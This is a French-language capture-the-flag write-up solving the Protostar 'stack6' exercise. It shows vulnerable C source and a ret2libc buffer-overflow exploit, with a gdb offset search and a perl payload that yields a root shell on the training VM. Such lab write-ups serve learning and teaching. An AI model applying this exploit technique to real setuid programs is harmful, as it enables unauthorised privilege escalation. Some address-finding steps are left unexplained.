Protostar – Stack 6

Nous allons commencer le challenge stack6 de la VM Protostar .

https://exploit-exercises.com/protostar/stack6/

Voici le code source du binaire à exploiter :



    #include <stdlib.h>
    #include <unistd.h>
    #include <stdio.h>
    #include <string.h>

    void getpath()
    {
      char buffer[64];
      unsigned int ret;

      printf("input path please: "); fflush(stdout);

      gets(buffer);

      ret = __builtin_return_address(0);

      if((ret & 0xbf000000) == 0xbf000000) {
          printf("bzzzt (%p)\n", ret);
          _exit(1);
      }

      printf("got path %s\n", buffer);
    }

    int main(int argc, char **argv)
    {
      getpath();
    }
stack 6

Cette fois ci il est impossible d’appeler notre shellcode depuis la pile , car son adresse commencerait par 0xbf ce qui est interdit à cause des instructions mise en évidence ligne 19

Nous allons donc utiliser la technique ret2libc , c’est à dire que nous appellerons la fonction system avec comme arguments la chaîne « /bin/sh » que l’on récupérera dans une variable d’environnement , nous mettront l’adresse de la fonction exit à lancer une fois la fonction system terminée .

pour cela nous devront écraser EIP avec l’adresse de system , suivi de l’adresse de exit , et enfin l’adresse de l’argument de system soit « /bin/bash ».

Calculons tout d’abord le nombre d’octets à écrire pour écraser le registre eip :

Pour cela nous allons créer un pattern a l’aide du script BofPattern.py ( vous pouvez trouver un équivalent à cette adresse : pattern_create.py )

$BofPattern.py 124
 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac

1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0A
pattern
Ensuite nous allons donner ce pattern en argument au binaire :
user@protostar:/opt/protostar/bin$ echo "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0A" > /tmp/file
 user@protostar:/opt/protostar/bin$ gdb -q ./stack6
 Reading symbols from /opt/protostar/bin/stack6...done.
 (gdb) r </tmp/file
 Starting program: /opt/protostar/bin/stack6
 input path please: got path Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A6Ac72Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0A

Program received signal SIGSEGV, Segmentation fault.
 0x37634136 in ?? ()
la variable d’environnement est sous la forme « SHELL=/bin/sh » pour récupérer juste le /bin/sh on ajoute 6 à l’adresse récupérée on obtient donc 0xbffff9d0
Nous avons toutes les cartes en main pour exploiter ce binaire :
user@protostar:/opt/protostar/bin$ perl -e 'print"A"x80,"\xb0\xff\xec\xb7","\xc0\x60\xec\xb7","\xd0\xf9\xff\xbf"'>/tmp/file
user@protostar:/opt/protostar/bin$ (cat /tmp/file; cat -) | ./stack6
input path please:
got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����AAAAAAAAAAAA�����`������
ls
final0    format0  format3  heap1  net0  net3    stack1  stack4  stack7
final1    format1  format4  heap2  net1  net4    stack2  stack5
final2    format2  heap0      heap3  net2  stack0  stack3  stack6
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
exploitation

Nous avons un shell , le challenge est terminé .

j’espère avoir été clair et que ce write-up vous aura plu , n’hésitez pas à mettre des commentaires pour donner votre avis , ou suggérer des idées d’articles ou de write-ups à écrire .

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée.